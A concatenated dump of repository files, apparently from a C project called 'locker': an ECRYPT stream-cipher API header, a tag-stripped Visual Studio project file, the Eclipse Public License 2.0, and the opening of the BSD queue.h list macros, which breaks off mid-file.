ECRYPT_encrypt_blocks() function (defined later) only accepts 109 | * lengths which are multiples of ECRYPT_BLOCKLENGTH. 110 | * 111 | * The user is allowed to make multiple calls to 112 | * ECRYPT_encrypt_blocks() to incrementally encrypt a long message, 113 | * but he is NOT allowed to make additional encryption calls once he 114 | * has called ECRYPT_encrypt_bytes() (unless he starts a new message 115 | * of course). For example, this sequence of calls is acceptable: 116 | * 117 | * ECRYPT_keysetup(); 118 | * 119 | * ECRYPT_ivsetup(); 120 | * ECRYPT_encrypt_blocks(); 121 | * ECRYPT_encrypt_blocks(); 122 | * ECRYPT_encrypt_bytes(); 123 | * 124 | * ECRYPT_ivsetup(); 125 | * ECRYPT_encrypt_blocks(); 126 | * ECRYPT_encrypt_blocks(); 127 | * 128 | * ECRYPT_ivsetup(); 129 | * ECRYPT_encrypt_bytes(); 130 | * 131 | * The following sequence is not: 132 | * 133 | * ECRYPT_keysetup(); 134 | * ECRYPT_ivsetup(); 135 | * ECRYPT_encrypt_blocks(); 136 | * ECRYPT_encrypt_bytes(); 137 | * ECRYPT_encrypt_blocks(); 138 | */ 139 | 140 | void ECRYPT_encrypt_bytes( 141 | ECRYPT_ctx* ctx, 142 | const u8* plaintext, 143 | u8* ciphertext, 144 | u32 msglen); /* Message length in bytes. */ 145 | 146 | void ECRYPT_decrypt_bytes( 147 | ECRYPT_ctx* ctx, 148 | const u8* ciphertext, 149 | u8* plaintext, 150 | u32 msglen); /* Message length in bytes. */ 151 | 152 | /* ------------------------------------------------------------------------- */ 153 | 154 | /* Optional features */ 155 | 156 | /* 157 | * For testing purposes it can sometimes be useful to have a function 158 | * which immediately generates keystream without having to provide it 159 | * with a zero plaintext. If your cipher cannot provide this function 160 | * (e.g., because it is not strictly a synchronous cipher), please 161 | * reset the ECRYPT_GENERATES_KEYSTREAM flag. 162 | */ 163 | 164 | #define ECRYPT_GENERATES_KEYSTREAM 165 | #ifdef ECRYPT_GENERATES_KEYSTREAM 166 | 167 | void ECRYPT_keystream_bytes( 168 | ECRYPT_ctx* ctx, 169 | u8* keystream, 170 | u32 length); /* Length of keystream in bytes. */ 171 | 172 | #endif 173 | 174 | /* ------------------------------------------------------------------------- */ 175 | 176 | /* Optional optimizations */ 177 | 178 | /* 179 | * By default, the functions in this section are implemented using 180 | * calls to functions declared above. However, you might want to 181 | * implement them differently for performance reasons. 182 | */ 183 | 184 | /* 185 | * All-in-one encryption/decryption of (short) packets. 186 | * 187 | * The default definitions of these functions can be found in 188 | * "ecrypt-sync.c". If you want to implement them differently, please 189 | * undef the ECRYPT_USES_DEFAULT_ALL_IN_ONE flag. 190 | */ 191 | #define ECRYPT_USES_DEFAULT_ALL_IN_ONE /* [edit] */ 192 | 193 | void ECRYPT_encrypt_packet( 194 | ECRYPT_ctx* ctx, 195 | const u8* iv, 196 | const u8* plaintext, 197 | u8* ciphertext, 198 | u32 msglen); 199 | 200 | void ECRYPT_decrypt_packet( 201 | ECRYPT_ctx* ctx, 202 | const u8* iv, 203 | const u8* ciphertext, 204 | u8* plaintext, 205 | u32 msglen); 206 | 207 | /* 208 | * Encryption/decryption of blocks. 209 | * 210 | * By default, these functions are defined as macros. If you want to 211 | * provide a different implementation, please undef the 212 | * ECRYPT_USES_DEFAULT_BLOCK_MACROS flag and implement the functions 213 | * declared below. 214 | */ 215 | 216 | #define ECRYPT_BLOCKLENGTH 64 /* [edit] */ 217 | 218 | #define ECRYPT_USES_DEFAULT_BLOCK_MACROS /* [edit] */ 219 | #ifdef ECRYPT_USES_DEFAULT_BLOCK_MACROS 220 | 221 | #define ECRYPT_encrypt_blocks(ctx, plaintext, ciphertext, blocks) \ 222 | ECRYPT_encrypt_bytes(ctx, plaintext, ciphertext, \ 223 | (blocks) * ECRYPT_BLOCKLENGTH) 224 | 225 | #define ECRYPT_decrypt_blocks(ctx, ciphertext, plaintext, blocks) \ 226 | ECRYPT_decrypt_bytes(ctx, ciphertext, plaintext, \ 227 | (blocks) * ECRYPT_BLOCKLENGTH) 228 | 229 | #ifdef ECRYPT_GENERATES_KEYSTREAM 230 | 231 | #define ECRYPT_keystream_blocks(ctx, keystream, blocks) \ 232 | ECRYPT_keystream_bytes(ctx, keystream, \ 233 | (blocks) * ECRYPT_BLOCKLENGTH) 234 | 235 | #endif 236 | 237 | #else 238 | 239 | void ECRYPT_encrypt_blocks( 240 | ECRYPT_ctx* ctx, 241 | const u8* plaintext, 242 | u8* ciphertext, 243 | u32 blocks); /* Message length in blocks. */ 244 | 245 | void ECRYPT_decrypt_blocks( 246 | ECRYPT_ctx* ctx, 247 | const u8* ciphertext, 248 | u8* plaintext, 249 | u32 blocks); /* Message length in blocks. */ 250 | 251 | #ifdef ECRYPT_GENERATES_KEYSTREAM 252 | 253 | void ECRYPT_keystream_blocks( 254 | ECRYPT_ctx* ctx, 255 | const u8* keystream, 256 | u32 blocks); /* Keystream length in blocks. */ 257 | 258 | #endif 259 | 260 | #endif 261 | 262 | /* 263 | * If your cipher can be implemented in different ways, you can use 264 | * the ECRYPT_VARIANT parameter to allow the user to choose between 265 | * them at compile time (e.g., gcc -DECRYPT_VARIANT=3 ...). Please 266 | * only use this possibility if you really think it could make a 267 | * significant difference and keep the number of variants 268 | * (ECRYPT_MAXVARIANT) as small as possible (definitely not more than 269 | * 10). Note also that all variants should have exactly the same 270 | * external interface (i.e., the same ECRYPT_BLOCKLENGTH, etc.). 271 | */ 272 | #define ECRYPT_MAXVARIANT 1 /* [edit] */ 273 | 274 | #ifndef ECRYPT_VARIANT 275 | #define ECRYPT_VARIANT 1 276 | #endif 277 | 278 | #if (ECRYPT_VARIANT > ECRYPT_MAXVARIANT) 279 | #error this variant does not exist 280 | #endif 281 | 282 | 283 | #ifdef __cplusplus 284 | } 285 | #endif 286 | /* ------------------------------------------------------------------------- */ 287 | 288 | #endif -------------------------------------------------------------------------------- /locker/locker.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {3AC70393-E9AC-4E90-BAB6-2C0ECEB9B418} 24 | locker 25 | 10.0 26 | 27 | 28 | 29 | Application 30 | true 31 | v140_xp 32 | Unicode 33 | 34 | 35 | Application 36 | false 37 | v140_xp 38 | true 39 | Unicode 40 | 41 | 42 | Application 43 | true 44 | v140_xp 45 | Unicode 46 | 47 | 48 | Application 49 | false 50 | v140_xp 51 | true 52 | Unicode 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | true 74 | 75 | 76 | true 77 | 78 | 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Level3 87 | true 88 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 89 | true 90 | 4996;2440 91 | Cdecl 92 | MultiThreadedDebug 93 | 94 | 95 | Windows 96 | true 97 | 98 | 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreaded 122 | 4996;2440 123 | false 124 | StdCall 125 | 126 | 127 | Windows 128 | true 129 | true 130 | false 131 | 132 | 133 | false 134 | false 135 | 136 | 137 | 138 | 139 | Level3 140 | true 141 | true 142 | true 143 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 144 | true 145 | MultiThreaded 146 | 147 | 148 | Console 149 | true 150 | true 151 | false 152 | false 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Eclipse Public License - v 2.0 2 | 3 | THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE 4 | PUBLIC LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION 5 | OF THE PROGRAM CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT. 6 | 7 | 1. DEFINITIONS 8 | 9 | "Contribution" means: 10 | 11 | a) in the case of the initial Contributor, the initial content 12 | Distributed under this Agreement, and 13 | 14 | b) in the case of each subsequent Contributor: 15 | i) changes to the Program, and 16 | ii) additions to the Program; 17 | where such changes and/or additions to the Program originate from 18 | and are Distributed by that particular Contributor. A Contribution 19 | "originates" from a Contributor if it was added to the Program by 20 | such Contributor itself or anyone acting on such Contributor's behalf. 21 | Contributions do not include changes or additions to the Program that 22 | are not Modified Works. 23 | 24 | "Contributor" means any person or entity that Distributes the Program. 25 | 26 | "Licensed Patents" mean patent claims licensable by a Contributor which 27 | are necessarily infringed by the use or sale of its Contribution alone 28 | or when combined with the Program. 29 | 30 | "Program" means the Contributions Distributed in accordance with this 31 | Agreement. 32 | 33 | "Recipient" means anyone who receives the Program under this Agreement 34 | or any Secondary License (as applicable), including Contributors. 35 | 36 | "Derivative Works" shall mean any work, whether in Source Code or other 37 | form, that is based on (or derived from) the Program and for which the 38 | editorial revisions, annotations, elaborations, or other modifications 39 | represent, as a whole, an original work of authorship. 40 | 41 | "Modified Works" shall mean any work in Source Code or other form that 42 | results from an addition to, deletion from, or modification of the 43 | contents of the Program, including, for purposes of clarity any new file 44 | in Source Code form that contains any contents of the Program. Modified 45 | Works shall not include works that contain only declarations, 46 | interfaces, types, classes, structures, or files of the Program solely 47 | in each case in order to link to, bind by name, or subclass the Program 48 | or Modified Works thereof. 49 | 50 | "Distribute" means the acts of a) distributing or b) making available 51 | in any manner that enables the transfer of a copy. 52 | 53 | "Source Code" means the form of a Program preferred for making 54 | modifications, including but not limited to software source code, 55 | documentation source, and configuration files. 56 | 57 | "Secondary License" means either the GNU General Public License, 58 | Version 2.0, or any later versions of that license, including any 59 | exceptions or additional permissions as identified by the initial 60 | Contributor. 61 | 62 | 2. GRANT OF RIGHTS 63 | 64 | a) Subject to the terms of this Agreement, each Contributor hereby 65 | grants Recipient a non-exclusive, worldwide, royalty-free copyright 66 | license to reproduce, prepare Derivative Works of, publicly display, 67 | publicly perform, Distribute and sublicense the Contribution of such 68 | Contributor, if any, and such Derivative Works. 69 | 70 | b) Subject to the terms of this Agreement, each Contributor hereby 71 | grants Recipient a non-exclusive, worldwide, royalty-free patent 72 | license under Licensed Patents to make, use, sell, offer to sell, 73 | import and otherwise transfer the Contribution of such Contributor, 74 | if any, in Source Code or other form. This patent license shall 75 | apply to the combination of the Contribution and the Program if, at 76 | the time the Contribution is added by the Contributor, such addition 77 | of the Contribution causes such combination to be covered by the 78 | Licensed Patents. The patent license shall not apply to any other 79 | combinations which include the Contribution. No hardware per se is 80 | licensed hereunder. 81 | 82 | c) Recipient understands that although each Contributor grants the 83 | licenses to its Contributions set forth herein, no assurances are 84 | provided by any Contributor that the Program does not infringe the 85 | patent or other intellectual property rights of any other entity. 86 | Each Contributor disclaims any liability to Recipient for claims 87 | brought by any other entity based on infringement of intellectual 88 | property rights or otherwise. As a condition to exercising the 89 | rights and licenses granted hereunder, each Recipient hereby 90 | assumes sole responsibility to secure any other intellectual 91 | property rights needed, if any. For example, if a third party 92 | patent license is required to allow Recipient to Distribute the 93 | Program, it is Recipient's responsibility to acquire that license 94 | before distributing the Program. 95 | 96 | d) Each Contributor represents that to its knowledge it has 97 | sufficient copyright rights in its Contribution, if any, to grant 98 | the copyright license set forth in this Agreement. 99 | 100 | e) Notwithstanding the terms of any Secondary License, no 101 | Contributor makes additional grants to any Recipient (other than 102 | those set forth in this Agreement) as a result of such Recipient's 103 | receipt of the Program under the terms of a Secondary License 104 | (if permitted under the terms of Section 3). 105 | 106 | 3. REQUIREMENTS 107 | 108 | 3.1 If a Contributor Distributes the Program in any form, then: 109 | 110 | a) the Program must also be made available as Source Code, in 111 | accordance with section 3.2, and the Contributor must accompany 112 | the Program with a statement that the Source Code for the Program 113 | is available under this Agreement, and informs Recipients how to 114 | obtain it in a reasonable manner on or through a medium customarily 115 | used for software exchange; and 116 | 117 | b) the Contributor may Distribute the Program under a license 118 | different than this Agreement, provided that such license: 119 | i) effectively disclaims on behalf of all other Contributors all 120 | warranties and conditions, express and implied, including 121 | warranties or conditions of title and non-infringement, and 122 | implied warranties or conditions of merchantability and fitness 123 | for a particular purpose; 124 | 125 | ii) effectively excludes on behalf of all other Contributors all 126 | liability for damages, including direct, indirect, special, 127 | incidental and consequential damages, such as lost profits; 128 | 129 | iii) does not attempt to limit or alter the recipients' rights 130 | in the Source Code under section 3.2; and 131 | 132 | iv) requires any subsequent distribution of the Program by any 133 | party to be under a license that satisfies the requirements 134 | of this section 3. 135 | 136 | 3.2 When the Program is Distributed as Source Code: 137 | 138 | a) it must be made available under this Agreement, or if the 139 | Program (i) is combined with other material in a separate file or 140 | files made available under a Secondary License, and (ii) the initial 141 | Contributor attached to the Source Code the notice described in 142 | Exhibit A of this Agreement, then the Program may be made available 143 | under the terms of such Secondary Licenses, and 144 | 145 | b) a copy of this Agreement must be included with each copy of 146 | the Program. 147 | 148 | 3.3 Contributors may not remove or alter any copyright, patent, 149 | trademark, attribution notices, disclaimers of warranty, or limitations 150 | of liability ("notices") contained within the Program from any copy of 151 | the Program which they Distribute, provided that Contributors may add 152 | their own appropriate notices. 153 | 154 | 4. COMMERCIAL DISTRIBUTION 155 | 156 | Commercial distributors of software may accept certain responsibilities 157 | with respect to end users, business partners and the like. While this 158 | license is intended to facilitate the commercial use of the Program, 159 | the Contributor who includes the Program in a commercial product 160 | offering should do so in a manner which does not create potential 161 | liability for other Contributors. Therefore, if a Contributor includes 162 | the Program in a commercial product offering, such Contributor 163 | ("Commercial Contributor") hereby agrees to defend and indemnify every 164 | other Contributor ("Indemnified Contributor") against any losses, 165 | damages and costs (collectively "Losses") arising from claims, lawsuits 166 | and other legal actions brought by a third party against the Indemnified 167 | Contributor to the extent caused by the acts or omissions of such 168 | Commercial Contributor in connection with its distribution of the Program 169 | in a commercial product offering. The obligations in this section do not 170 | apply to any claims or Losses relating to any actual or alleged 171 | intellectual property infringement. In order to qualify, an Indemnified 172 | Contributor must: a) promptly notify the Commercial Contributor in 173 | writing of such claim, and b) allow the Commercial Contributor to control, 174 | and cooperate with the Commercial Contributor in, the defense and any 175 | related settlement negotiations. The Indemnified Contributor may 176 | participate in any such claim at its own expense. 177 | 178 | For example, a Contributor might include the Program in a commercial 179 | product offering, Product X. That Contributor is then a Commercial 180 | Contributor. If that Commercial Contributor then makes performance 181 | claims, or offers warranties related to Product X, those performance 182 | claims and warranties are such Commercial Contributor's responsibility 183 | alone. Under this section, the Commercial Contributor would have to 184 | defend claims against the other Contributors related to those performance 185 | claims and warranties, and if a court requires any other Contributor to 186 | pay any damages as a result, the Commercial Contributor must pay 187 | those damages. 188 | 189 | 5. NO WARRANTY 190 | 191 | EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, AND TO THE EXTENT 192 | PERMITTED BY APPLICABLE LAW, THE PROGRAM IS PROVIDED ON AN "AS IS" 193 | BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR 194 | IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF 195 | TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR 196 | PURPOSE. Each Recipient is solely responsible for determining the 197 | appropriateness of using and distributing the Program and assumes all 198 | risks associated with its exercise of rights under this Agreement, 199 | including but not limited to the risks and costs of program errors, 200 | compliance with applicable laws, damage to or loss of data, programs 201 | or equipment, and unavailability or interruption of operations. 202 | 203 | 6. DISCLAIMER OF LIABILITY 204 | 205 | EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, AND TO THE EXTENT 206 | PERMITTED BY APPLICABLE LAW, NEITHER RECIPIENT NOR ANY CONTRIBUTORS 207 | SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 208 | EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST 209 | PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 210 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 211 | ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE 212 | EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE 213 | POSSIBILITY OF SUCH DAMAGES. 214 | 215 | 7. GENERAL 216 | 217 | If any provision of this Agreement is invalid or unenforceable under 218 | applicable law, it shall not affect the validity or enforceability of 219 | the remainder of the terms of this Agreement, and without further 220 | action by the parties hereto, such provision shall be reformed to the 221 | minimum extent necessary to make such provision valid and enforceable. 222 | 223 | If Recipient institutes patent litigation against any entity 224 | (including a cross-claim or counterclaim in a lawsuit) alleging that the 225 | Program itself (excluding combinations of the Program with other software 226 | or hardware) infringes such Recipient's patent(s), then such Recipient's 227 | rights granted under Section 2(b) shall terminate as of the date such 228 | litigation is filed. 229 | 230 | All Recipient's rights under this Agreement shall terminate if it 231 | fails to comply with any of the material terms or conditions of this 232 | Agreement and does not cure such failure in a reasonable period of 233 | time after becoming aware of such noncompliance. If all Recipient's 234 | rights under this Agreement terminate, Recipient agrees to cease use 235 | and distribution of the Program as soon as reasonably practicable. 236 | However, Recipient's obligations under this Agreement and any licenses 237 | granted by Recipient relating to the Program shall continue and survive. 238 | 239 | Everyone is permitted to copy and distribute copies of this Agreement, 240 | but in order to avoid inconsistency the Agreement is copyrighted and 241 | may only be modified in the following manner. The Agreement Steward 242 | reserves the right to publish new versions (including revisions) of 243 | this Agreement from time to time. No one other than the Agreement 244 | Steward has the right to modify this Agreement. The Eclipse Foundation 245 | is the initial Agreement Steward. The Eclipse Foundation may assign the 246 | responsibility to serve as the Agreement Steward to a suitable separate 247 | entity. Each new version of the Agreement will be given a distinguishing 248 | version number. The Program (including Contributions) may always be 249 | Distributed subject to the version of the Agreement under which it was 250 | received. In addition, after a new version of the Agreement is published, 251 | Contributor may elect to Distribute the Program (including its 252 | Contributions) under the new version. 253 | 254 | Except as expressly stated in Sections 2(a) and 2(b) above, Recipient 255 | receives no rights or licenses to the intellectual property of any 256 | Contributor under this Agreement, whether expressly, by implication, 257 | estoppel or otherwise. All rights in the Program not expressly granted 258 | under this Agreement are reserved. Nothing in this Agreement is intended 259 | to be enforceable by any entity that is not a Contributor or Recipient. 260 | No third-party beneficiary rights are created under this Agreement. 261 | 262 | Exhibit A - Form of Secondary Licenses Notice 263 | 264 | "This Source Code may also be made available under the following 265 | Secondary Licenses when the conditions for such availability set forth 266 | in the Eclipse Public License, v. 2.0 are satisfied: {name license(s), 267 | version(s), and exceptions or additional permissions here}." 268 | 269 | Simply including a copy of this Agreement, including this Exhibit A 270 | is not sufficient to license the Source Code under Secondary Licenses. 271 | 272 | If it is not possible or desirable to put the notice in a particular 273 | file, then You may include the notice in a location (such as a LICENSE 274 | file in a relevant directory) where a recipient would be likely to 275 | look for such a notice. 276 | 277 | You may add additional accurate notices of copyright ownership. 278 | -------------------------------------------------------------------------------- /locker/queue.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 1991, 1993 3 | * The Regents of the University of California. All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 15 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 18 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 | * SUCH DAMAGE. 25 | * 26 | * @(#)queue.h 8.5 (Berkeley) 8/20/94 27 | * $FreeBSD: src/sys/sys/queue.h,v 1.38 2000/05/26 02:06:56 jake Exp $ 28 | */ 29 | 30 | #ifndef _SYS_QUEUE_H_ 31 | #define _SYS_QUEUE_H_ 32 | 33 | /* 34 | * This file defines five types of data structures: singly-linked lists, 35 | * singly-linked tail queues, lists, tail queues, and circular queues. 36 | * 37 | * A singly-linked list is headed by a single forward pointer. The elements 38 | * are singly linked for minimum space and pointer manipulation overhead at 39 | * the expense of O(n) removal for arbitrary elements. New elements can be 40 | * added to the list after an existing element or at the head of the list. 41 | * Elements being removed from the head of the list should use the explicit 42 | * macro for this purpose for optimum efficiency. A singly-linked list may 43 | * only be traversed in the forward direction. Singly-linked lists are ideal 44 | * for applications with large datasets and few or no removals or for 45 | * implementing a LIFO queue. 46 | * 47 | * A singly-linked tail queue is headed by a pair of pointers, one to the 48 | * head of the list and the other to the tail of the list. The elements are 49 | * singly linked for minimum space and pointer manipulation overhead at the 50 | * expense of O(n) removal for arbitrary elements. New elements can be added 51 | * to the list after an existing element, at the head of the list, or at the 52 | * end of the list. Elements being removed from the head of the tail queue 53 | * should use the explicit macro for this purpose for optimum efficiency. 54 | * A singly-linked tail queue may only be traversed in the forward direction. 55 | * Singly-linked tail queues are ideal for applications with large datasets 56 | * and few or no removals or for implementing a FIFO queue. 57 | * 58 | * A list is headed by a single forward pointer (or an array of forward 59 | * pointers for a hash table header). The elements are doubly linked 60 | * so that an arbitrary element can be removed without a need to 61 | * traverse the list. New elements can be added to the list before 62 | * or after an existing element or at the head of the list. A list 63 | * may only be traversed in the forward direction. 64 | * 65 | * A tail queue is headed by a pair of pointers, one to the head of the 66 | * list and the other to the tail of the list. The elements are doubly 67 | * linked so that an arbitrary element can be removed without a need to 68 | * traverse the list. New elements can be added to the list before or 69 | * after an existing element, at the head of the list, or at the end of 70 | * the list. A tail queue may be traversed in either direction. 71 | * 72 | * A circle queue is headed by a pair of pointers, one to the head of the 73 | * list and the other to the tail of the list. The elements are doubly 74 | * linked so that an arbitrary element can be removed without a need to 75 | * traverse the list. New elements can be added to the list before or after 76 | * an existing element, at the head of the list, or at the end of the list. 77 | * A circle queue may be traversed in either direction, but has a more 78 | * complex end of list detection. 79 | * 80 | * For details on the use of these macros, see the queue(3) manual page. 81 | * 82 | * 83 | * SLIST LIST STAILQ TAILQ CIRCLEQ 84 | * _HEAD + + + + + 85 | * _HEAD_INITIALIZER + + + + + 86 | * _ENTRY + + + + + 87 | * _INIT + + + + + 88 | * _EMPTY + + + + + 89 | * _FIRST + + + + + 90 | * _NEXT + + + + + 91 | * _PREV - - - + + 92 | * _LAST - - + + + 93 | * _FOREACH + + + + + 94 | * _FOREACH_REVERSE - - - + + 95 | * _INSERT_HEAD + + + + + 96 | * _INSERT_BEFORE - + - + + 97 | * _INSERT_AFTER + + + + + 98 | * _INSERT_TAIL - - + + + 99 | * _REMOVE_HEAD + - + - - 100 | * _REMOVE + + + + + 101 | * 102 | */ 103 | 104 | /* 105 | * Singly-linked List declarations. 106 | */ 107 | #define SLIST_HEAD(name, type) \ 108 | struct name { \ 109 | struct type *slh_first; /* first element */ \ 110 | } 111 | 112 | #define SLIST_HEAD_INITIALIZER(head) \ 113 | { NULL } 114 | 115 | #define SLIST_ENTRY(type) \ 116 | struct { \ 117 | struct type *sle_next; /* next element */ \ 118 | } 119 | 120 | /* 121 | * Singly-linked List functions. 122 | */ 123 | #define SLIST_EMPTY(head) ((head)->slh_first == NULL) 124 | 125 | #define SLIST_FIRST(head) ((head)->slh_first) 126 | 127 | #define SLIST_FOREACH(var, head, field) \ 128 | for ((var) = SLIST_FIRST((head)); \ 129 | (var); \ 130 | (var) = SLIST_NEXT((var), field)) 131 | 132 | #define SLIST_INIT(head) do { \ 133 | SLIST_FIRST((head)) = NULL; \ 134 | } while (0) 135 | 136 | #define SLIST_INSERT_AFTER(slistelm, elm, field) do { \ 137 | SLIST_NEXT((elm), field) = SLIST_NEXT((slistelm), field); \ 138 | SLIST_NEXT((slistelm), field) = (elm); \ 139 | } while (0) 140 | 141 | #define SLIST_INSERT_HEAD(head, elm, field) do { \ 142 | SLIST_NEXT((elm), field) = SLIST_FIRST((head)); \ 143 | SLIST_FIRST((head)) = (elm); \ 144 | } while (0) 145 | 146 | #define SLIST_NEXT(elm, field) ((elm)->field.sle_next) 147 | 148 | #define SLIST_REMOVE(head, elm, type, field) do { \ 149 | if (SLIST_FIRST((head)) == (elm)) { \ 150 | SLIST_REMOVE_HEAD((head), field); \ 151 | } \ 152 | else { \ 153 | struct type *curelm = SLIST_FIRST((head)); \ 154 | while (SLIST_NEXT(curelm, field) != (elm)) \ 155 | curelm = SLIST_NEXT(curelm, field); \ 156 | SLIST_NEXT(curelm, field) = \ 157 | SLIST_NEXT(SLIST_NEXT(curelm, field), field); \ 158 | } \ 159 | } while (0) 160 | 161 | #define SLIST_REMOVE_HEAD(head, field) do { \ 162 | SLIST_FIRST((head)) = SLIST_NEXT(SLIST_FIRST((head)), field); \ 163 | } while (0) 164 | 165 | /* 166 | * Singly-linked Tail queue declarations. 167 | */ 168 | #define STAILQ_HEAD(name, type) \ 169 | struct name { \ 170 | struct type *stqh_first;/* first element */ \ 171 | struct type **stqh_last;/* addr of last next element */ \ 172 | } 173 | 174 | #define STAILQ_HEAD_INITIALIZER(head) \ 175 | { NULL, &(head).stqh_first } 176 | 177 | #define STAILQ_ENTRY(type) \ 178 | struct { \ 179 | struct type *stqe_next; /* next element */ \ 180 | } 181 | 182 | /* 183 | * Singly-linked Tail queue functions. 184 | */ 185 | #define STAILQ_EMPTY(head) ((head)->stqh_first == NULL) 186 | 187 | #define STAILQ_FIRST(head) ((head)->stqh_first) 188 | 189 | #define STAILQ_FOREACH(var, head, field) \ 190 | for((var) = STAILQ_FIRST((head)); \ 191 | (var); \ 192 | (var) = STAILQ_NEXT((var), field)) 193 | 194 | #define STAILQ_INIT(head) do { \ 195 | STAILQ_FIRST((head)) = NULL; \ 196 | (head)->stqh_last = &STAILQ_FIRST((head)); \ 197 | } while (0) 198 | 199 | #define STAILQ_INSERT_AFTER(head, tqelm, elm, field) do { \ 200 | if ((STAILQ_NEXT((elm), field) = STAILQ_NEXT((tqelm), field)) == NULL)\ 201 | (head)->stqh_last = &STAILQ_NEXT((elm), field); \ 202 | STAILQ_NEXT((tqelm), field) = (elm); \ 203 | } while (0) 204 | 205 | #define STAILQ_INSERT_HEAD(head, elm, field) do { \ 206 | if ((STAILQ_NEXT((elm), field) = STAILQ_FIRST((head))) == NULL) \ 207 | (head)->stqh_last = &STAILQ_NEXT((elm), field); \ 208 | STAILQ_FIRST((head)) = (elm); \ 209 | } while (0) 210 | 211 | #define STAILQ_INSERT_TAIL(head, elm, field) do { \ 212 | STAILQ_NEXT((elm), field) = NULL; \ 213 | STAILQ_LAST((head)) = (elm); \ 214 | (head)->stqh_last = &STAILQ_NEXT((elm), field); \ 215 | } while (0) 216 | 217 | #define STAILQ_LAST(head) (*(head)->stqh_last) 218 | 219 | #define STAILQ_NEXT(elm, field) ((elm)->field.stqe_next) 220 | 221 | #define STAILQ_REMOVE(head, elm, type, field) do { \ 222 | if (STAILQ_FIRST((head)) == (elm)) { \ 223 | STAILQ_REMOVE_HEAD(head, field); \ 224 | } \ 225 | else { \ 226 | struct type *curelm = STAILQ_FIRST((head)); \ 227 | while (STAILQ_NEXT(curelm, field) != (elm)) \ 228 | curelm = STAILQ_NEXT(curelm, field); \ 229 | if ((STAILQ_NEXT(curelm, field) = \ 230 | STAILQ_NEXT(STAILQ_NEXT(curelm, field), field)) == NULL)\ 231 | (head)->stqh_last = &STAILQ_NEXT((curelm), field);\ 232 | } \ 233 | } while (0) 234 | 235 | #define STAILQ_REMOVE_HEAD(head, field) do { \ 236 | if ((STAILQ_FIRST((head)) = \ 237 | STAILQ_NEXT(STAILQ_FIRST((head)), field)) == NULL) \ 238 | (head)->stqh_last = &STAILQ_FIRST((head)); \ 239 | } while (0) 240 | 241 | #define STAILQ_REMOVE_HEAD_UNTIL(head, elm, field) do { \ 242 | if ((STAILQ_FIRST((head)) = STAILQ_NEXT((elm), field)) == NULL) \ 243 | (head)->stqh_last = &STAILQ_FIRST((head)); \ 244 | } while (0) 245 | 246 | /* 247 | * List declarations. 248 | */ 249 | #define BSD_LIST_HEAD(name, type) \ 250 | struct name { \ 251 | struct type *lh_first; /* first element */ \ 252 | } 253 | 254 